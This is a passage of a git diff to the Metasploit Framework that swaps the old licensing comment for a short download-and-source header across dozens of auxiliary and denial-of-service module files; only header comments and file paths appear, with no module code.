http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/modules/auxiliary/analyze/jtr_oracle_fast.rb b/modules/auxiliary/analyze/jtr_oracle_fast.rb index 7a6c23a2b5..d8dfea869e 100644 --- a/modules/auxiliary/analyze/jtr_oracle_fast.rb +++ b/modules/auxiliary/analyze/jtr_oracle_fast.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/modules/auxiliary/analyze/jtr_unshadow.rb b/modules/auxiliary/analyze/jtr_unshadow.rb index 76c6a062af..11ed7b53fd 100644 --- a/modules/auxiliary/analyze/jtr_unshadow.rb +++ b/modules/auxiliary/analyze/jtr_unshadow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/modules/auxiliary/analyze/postgres_md5_crack.rb b/modules/auxiliary/analyze/postgres_md5_crack.rb index 0b18ac59f3..5262315096 100644 --- a/modules/auxiliary/analyze/postgres_md5_crack.rb +++ b/modules/auxiliary/analyze/postgres_md5_crack.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/modules/auxiliary/bnat/bnat_router.rb b/modules/auxiliary/bnat/bnat_router.rb index d146bb9e8d..08da6441f4 100644 --- a/modules/auxiliary/bnat/bnat_router.rb +++ b/modules/auxiliary/bnat/bnat_router.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb index 27b3e12bfc..72e8b1d846 100644 --- a/modules/auxiliary/bnat/bnat_scan.rb +++ b/modules/auxiliary/bnat/bnat_scan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/client/smtp/emailer.rb b/modules/auxiliary/client/smtp/emailer.rb index 218c754c63..40c500eef2 100644 --- a/modules/auxiliary/client/smtp/emailer.rb +++ b/modules/auxiliary/client/smtp/emailer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index d33863231f..e09a830390 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index e3679c2d17..3ce3034e75 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb index 16382caa19..ae89b9bb5f 100644 --- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb +++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb index 001a7331ea..361979c8cf 100644 --- a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb +++ b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb index 79adc01968..c782701aed 100644 --- a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb +++ b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/hp/data_protector_rds.rb b/modules/auxiliary/dos/hp/data_protector_rds.rb index 72988fb93f..d5bd75f748 100644 --- a/modules/auxiliary/dos/hp/data_protector_rds.rb +++ b/modules/auxiliary/dos/hp/data_protector_rds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/http/3com_superstack_switch.rb b/modules/auxiliary/dos/http/3com_superstack_switch.rb index 3a77ee9a32..08a535d93a 100644 --- a/modules/auxiliary/dos/http/3com_superstack_switch.rb +++ b/modules/auxiliary/dos/http/3com_superstack_switch.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/apache_mod_isapi.rb b/modules/auxiliary/dos/http/apache_mod_isapi.rb index 196a3256bf..5a5d5645b8 100644 --- a/modules/auxiliary/dos/http/apache_mod_isapi.rb +++ b/modules/auxiliary/dos/http/apache_mod_isapi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/http/apache_range_dos.rb b/modules/auxiliary/dos/http/apache_range_dos.rb index d7a1d24a0d..cf73b863ca 100644 --- a/modules/auxiliary/dos/http/apache_range_dos.rb +++ b/modules/auxiliary/dos/http/apache_range_dos.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb index 1ddb37eca4..1816d668ac 100644 --- a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb +++ b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/http/canon_wireless_printer.rb b/modules/auxiliary/dos/http/canon_wireless_printer.rb index 505f26ee1c..f7bd5c5b45 100644 --- a/modules/auxiliary/dos/http/canon_wireless_printer.rb +++ b/modules/auxiliary/dos/http/canon_wireless_printer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/http/dell_openmanage_post.rb b/modules/auxiliary/dos/http/dell_openmanage_post.rb index 154a89474b..5e148cba52 100644 --- a/modules/auxiliary/dos/http/dell_openmanage_post.rb +++ b/modules/auxiliary/dos/http/dell_openmanage_post.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/http/hashcollision_dos.rb b/modules/auxiliary/dos/http/hashcollision_dos.rb index 27eb82da04..25d7cbd09a 100644 --- a/modules/auxiliary/dos/http/hashcollision_dos.rb +++ b/modules/auxiliary/dos/http/hashcollision_dos.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/http/monkey_headers.rb b/modules/auxiliary/dos/http/monkey_headers.rb index 9cf7d5b6b6..a50dbff7eb 100644 --- a/modules/auxiliary/dos/http/monkey_headers.rb +++ b/modules/auxiliary/dos/http/monkey_headers.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb index 464bd07bfd..304f55b276 100644 --- a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb +++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb index 641b8f5249..6172f845cb 100644 --- a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb +++ b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index 9d371e8663..cce3a5a9aa 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/mdns/avahi_portzero.rb b/modules/auxiliary/dos/mdns/avahi_portzero.rb index 86c006cf1c..be905b9aab 100644 --- a/modules/auxiliary/dos/mdns/avahi_portzero.rb +++ b/modules/auxiliary/dos/mdns/avahi_portzero.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/misc/dopewars.rb b/modules/auxiliary/dos/misc/dopewars.rb index 8e15da8ff4..e9242831f4 100644 --- a/modules/auxiliary/dos/misc/dopewars.rb +++ b/modules/auxiliary/dos/misc/dopewars.rb @@ -1,7 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com/ ## diff --git a/modules/auxiliary/dos/misc/memcached.rb b/modules/auxiliary/dos/misc/memcached.rb index 7686d28824..45e9ba338b 100644 --- a/modules/auxiliary/dos/misc/memcached.rb +++ b/modules/auxiliary/dos/misc/memcached.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb index 4a898e6c16..c9b93192ca 100644 --- a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb +++ b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb index 499f8a0d8c..1d5e14808f 100644 --- a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb +++ b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb index 364f4c68b9..260824d8a3 100644 --- a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb index aedd3b49da..7d125c8ab6 100644 --- a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index b6a17ea63a..1d7a44fa41 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb index 797851741e..8592fe86ed 100755 --- a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb +++ b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/dos/scada/beckhoff_twincat.rb b/modules/auxiliary/dos/scada/beckhoff_twincat.rb index 96510d5d43..46ae1c6edd 100644 --- a/modules/auxiliary/dos/scada/beckhoff_twincat.rb +++ b/modules/auxiliary/dos/scada/beckhoff_twincat.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb index 9908acbe04..8a01246d10 100644 --- a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb +++ b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/auxiliary/dos/scada/igss9_dataserver.rb b/modules/auxiliary/dos/scada/igss9_dataserver.rb index 6c3a50664e..fb2b9bf2c6 100644 --- a/modules/auxiliary/dos/scada/igss9_dataserver.rb +++ b/modules/auxiliary/dos/scada/igss9_dataserver.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb index 39ff277426..2ead93b597 100644 --- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb +++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb index 4ec6861961..5c929eb7e2 100644 --- a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb +++ b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb index 41855cc4b8..67f434b839 100644 --- a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb +++ b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index 520c91df5e..a49ecd72c7 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # auxilary/dos/ssl/openssl_aesni diff --git a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb index 1972601ed7..8453d8f201 100644 --- a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb +++ b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb index c1989d9951..5118638174 100644 --- a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb +++ b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/tcp/synflood.rb b/modules/auxiliary/dos/tcp/synflood.rb index 4e5437b1a4..82566d8676 100644 --- a/modules/auxiliary/dos/tcp/synflood.rb +++ b/modules/auxiliary/dos/tcp/synflood.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb index 6073e5ef5e..ac23e493b0 100644 --- a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb +++ b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb @@ -1,7 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com/ ## diff --git a/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb b/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb index 7d11be48b0..ee34dcef12 100644 --- a/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb +++ b/modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/wifi/cts_rts_flood.rb b/modules/auxiliary/dos/wifi/cts_rts_flood.rb index 7022018394..4379dce61a 100644 --- a/modules/auxiliary/dos/wifi/cts_rts_flood.rb +++ b/modules/auxiliary/dos/wifi/cts_rts_flood.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/wifi/deauth.rb b/modules/auxiliary/dos/wifi/deauth.rb index a6848a5d0f..d1ccfe0229 100644 --- a/modules/auxiliary/dos/wifi/deauth.rb +++ b/modules/auxiliary/dos/wifi/deauth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/wifi/fakeap.rb b/modules/auxiliary/dos/wifi/fakeap.rb index 818d1cf1d1..d0d489a4d3 100644 --- a/modules/auxiliary/dos/wifi/fakeap.rb +++ b/modules/auxiliary/dos/wifi/fakeap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/wifi/file2air.rb b/modules/auxiliary/dos/wifi/file2air.rb index 350b0b78ec..36cf74d999 100644 --- a/modules/auxiliary/dos/wifi/file2air.rb +++ b/modules/auxiliary/dos/wifi/file2air.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb b/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb index dbedfca3b7..3a860c5929 100644 --- a/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb +++ b/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/wifi/netgear_wg311pci.rb b/modules/auxiliary/dos/wifi/netgear_wg311pci.rb index ffe6cf9030..f84b60c261 100644 --- a/modules/auxiliary/dos/wifi/netgear_wg311pci.rb +++ b/modules/auxiliary/dos/wifi/netgear_wg311pci.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb b/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb index d54a8a032e..ba35201cb6 100644 --- a/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb +++ b/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/wifi/ssidlist_beacon.rb b/modules/auxiliary/dos/wifi/ssidlist_beacon.rb index 0c451e859c..66fad3d770 100644 --- a/modules/auxiliary/dos/wifi/ssidlist_beacon.rb +++ b/modules/auxiliary/dos/wifi/ssidlist_beacon.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. 